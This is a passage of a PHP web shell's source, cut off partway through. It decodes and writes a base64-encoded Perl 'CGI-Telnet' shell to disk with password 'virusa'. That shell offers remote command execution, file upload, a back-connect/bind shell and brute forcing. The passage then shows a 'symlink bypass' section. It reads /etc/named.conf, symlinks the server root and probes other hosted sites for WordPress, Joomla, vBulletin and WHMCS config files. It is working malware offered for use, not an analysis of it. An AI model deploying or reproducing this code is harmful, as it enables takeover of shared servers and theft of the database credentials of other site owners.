Z0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7\';

$file = fopen("cgi4e.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi4e));
fclose($file);
chmod("cgi4e.izo",0755);
echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>CGI-Telnet Version 1.4 </span><br><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\'>Password : virusa</font><center><br><iframe src=cgi4e/cgi4e.izo width=75% height=60% frameborder=0></iframe>
 
</div></center>"; 
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'sym\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Info</span><center><br>\';
if(!is_file(\'named.txt\')){

$d00m = @file("/etc/named.conf");

}else{

$d00m = @file("named.txt");


}
if(!$d00m)
{

die ("<meta http-equiv=\'refresh\' content=\'0; url=?action=read\'/>");
}
else

{
echo "<div class=\'tmp\'><table align=\'center\' width=\'40%\'><td><font color=\'#e4e4e4\'><b>Domains</b></font></td><td><font color=\'#e4e4e4\'><b>Users</b></font></td><td><font color=\'#e4e4e4\'><b>Symlink</b> </font></td>";
foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all(\'#zone "(.*)"#\', $dom, $domvw);

flush();

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));

flush();



$site = $user[\'name\'] ;


@symlink("/","sim/rut");

$site = $domvw[1][0];

$ir = \'ir\';

$il = \'il\';

if (preg_match("/.^$ir/",$domvw[1][0]) or preg_match("/.^$il/",$domvw[1][0]) )
{
$site = "<div style=\' color: #fff600 ; text-shadow: 0px 0px 1px red; \'>".$domvw[1][0]."</div>";
}


echo "
<tr>

<td>
<div class=\'cone\'><a target=\'_blank\' href=http://www.".$domvw[1][0]."/>".$site." </a> </div>
</td>


<td><font face=\'Tahoma\' color=\'#d0d000\' size=\'2pt\'>
".$user[\'name\']."
</td></font>






<td>
<div class=\'cone\'><a href=\'sim/rut/home/".$user[\'name\']."/public_html\' target=\'_blank\'>Symlink </a></div>
</td>


</tr></div> ";


flush();
flush();

}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'dose\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cms Scanner</span><center><br>\';
if(!@is_file(\'named.txt\')){
$d00m = @file("/etc/named.conf");
}else{
$d00m = @file("named.txt");
}
if(!$d00m)
{
die ("<meta http-equiv=\'refresh\' content=\'0; url=?action=read\'/>");
}
else
{
echo "<div class=\'tmp\'>
<table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b></font></td><td> <font color=\'#e4e4e4\'><b>Script</b></font> </td>";
foreach($d00m as $dom){
flush();
flush();
if(eregi("zone",$dom)){
@preg_match_all(\'#zone "(.*)"#\', $dom, $domvw);
flush();
if(@strlen(trim($domvw[1][0])) > 2){
$user = @posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
$wpl=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/wp-config.php";
$wpp=@get_headers($wpl);
$wp=$wpp[0];
$wp2=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/blog/wp-config.php";
$wpp2=@get_headers($wp2);
$wp12=$wpp2[0];
$jo1=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/configuration.php";
$joo=@get_headers($jo1);
$jo=$joo[0];
$jo2=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/joomla/configuration.php";
$joo2=@get_headers($jo2);
$jo12=$joo2[0];
$vb1=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/includes/config.php";
$vbb=@get_headers($vb1);
$vb=$vbb[0];
$vb2=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/vb/includes/config.php";
$vbb2=@get_headers($vb2);
$vb12=$vbb2[0];
$vb3=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/forum/includes/config.php";
$vbb3=@get_headers($vb3);
$vb13=$vbb3[0];
$wh1=$pageURL."/sim/rut/home/".$user[\'name\']."public_html/clients/configuration.php";
$whh2= @get_headers($wh1);
$wh=$whh2[0];
$wh2=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/support/configuration.php";
$whh2= @get_headers($wh2);
$wh12=$whh2[0];
$wh3=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/database.php";
$whh3= @get_headers($wh3);
$wh13=$whh3[0];
$wh5=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/config.php";
$whh5= @get_headers($wh5);
$wh15=$whh5[0];
